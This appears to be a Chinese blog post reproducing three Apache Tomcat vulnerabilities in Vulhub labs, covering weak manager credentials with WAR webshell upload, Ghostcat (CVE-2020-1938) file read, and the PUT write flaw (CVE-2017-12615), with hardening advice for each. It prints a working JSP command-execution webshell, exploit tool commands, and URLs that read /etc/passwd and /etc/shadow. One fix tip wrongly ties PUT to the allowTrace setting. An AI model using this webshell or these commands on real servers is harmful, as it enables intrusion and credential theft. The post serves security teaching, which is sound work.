Apache Tomcat 漏洞复现

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级高危
影响范围8.0
漏洞描述Tomcat 支持通过后端部署 war 文件所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端需要权限。
修复方案打补丁上设备升级组件

1.2 漏洞复现

环境启动

image-20230907165146041

访问页面

image-20230907165207175

点击管理控制平台

image-20230907165405345

用户名和密码都是tomcat

image-20230907165446271

进入到了tomcat后台项目管理控制台

image-20230907165526066

如果黑客攻击者拿到这个控制台就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

image-20230907165807753

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

image-20230907191640787

然后及将打包好的WAR包进行上传即可。

image-20230907190921996

上传成功

image-20230907191006915

访问页面

image-20230907191049345

上传的木马中写了密码为023再次访问然后使用ls命令来查看当前目录下有哪些文件。

image-20230907191152829

查看权限

image-20230907191336053

env打印环境变量

image-20230907191546560

1.3.2 jsp大马

Webshell138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马将其打包成war包后进行上传

image-20230907192539065

image-20230907192552215

上传成功

image-20230907192630248

访问成功

image-20230907192707830

image-20230907192811788

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明内容
漏洞编号CVE-2020-1938
漏洞名称Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级高危
影响范围9.0.30
漏洞描述由于Tomcat AJP协议中的缺陷攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如攻击者可以读取 Web 应用配置文件或源代码。此外如果目标Web应用具有文件上传功能攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案打补丁上设备升级组件

2.1 漏洞复现

环境启动

image-20230907175945335

2.2 漏洞利用工具

下载漏洞利用工具链接github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

image-20230907174949166

查看读取的web.xml文件位置

image-20230907175412413

发现和我们之前读取的文件内容一致

image-20230907175433556

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

image-20230907175641022

然后尝试读取该文件内容

image-20230907175716461

最后验证得出这里读取文件是有限制的只能读取ROOT目录下的文件

image-20230907175822217

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明内容
漏洞编号CVE-2017-12615
漏洞名称Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级高危
影响范围8.5.19
漏洞描述当存在漏洞的Tomcat运行在Windows/Linux主机上 且启用了HTTP PUT请求方法 例如 将readonly初始化参数由默认值设置为false 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件JSP文件中的恶意代码将能被服务器执行 导致服务器上的数据泄露或获取服务器权限
修复方案打补丁上设备升级组件

3.2 漏洞复现

环境启动

image-20230907193834097

访问页面

image-20230907193851693

漏洞检测

image-20230907194258174

使用nuclei漏洞检测工具

./nuclei -u 192.168.188.185

image-20230907194821338

3.3 漏洞利用

浏览器路径访问

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

image-20230907194831874

测试是否可以查看shadow文件

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

image-20230907195007770

测试是否可以执行命令

http://127.0.0.1/poc.jsp?cmd=whoami

image-20230907195054403

3.4 修复建议

  1. 禁用 HTTP PUT 方法为了防止该漏洞的利用可以在 Tomcat 配置文件中设置 “readonly” 属性禁用 HTTP PUT 方法。例如在 server.xml 文件中可以将 Connector 元素中的 allowTrace 属性设置为 false禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符应用程序应该过滤掉特殊字符如 “…/” 或 “%2e%2e%2f”以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式限制输入数据的格式和内容。
  3. 路径验证和权限控制应用程序应该对上传文件的路径进行验证并限制其访问权限。可以将上传文件保存在特定的目录中并确保其他用户无法访问该目录。此外还应该对上传的文件进行扫描和检测以防止上传恶意文件。
  4. 及时更新软件版本Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞并提供了修复版本。因此建议立即更新受影响的 Tomcat 版本并实施相应的补丁程序。
  5. 启用安全模式可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限并增加对 Web 应用程序的监控和控制。
阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: Tomcat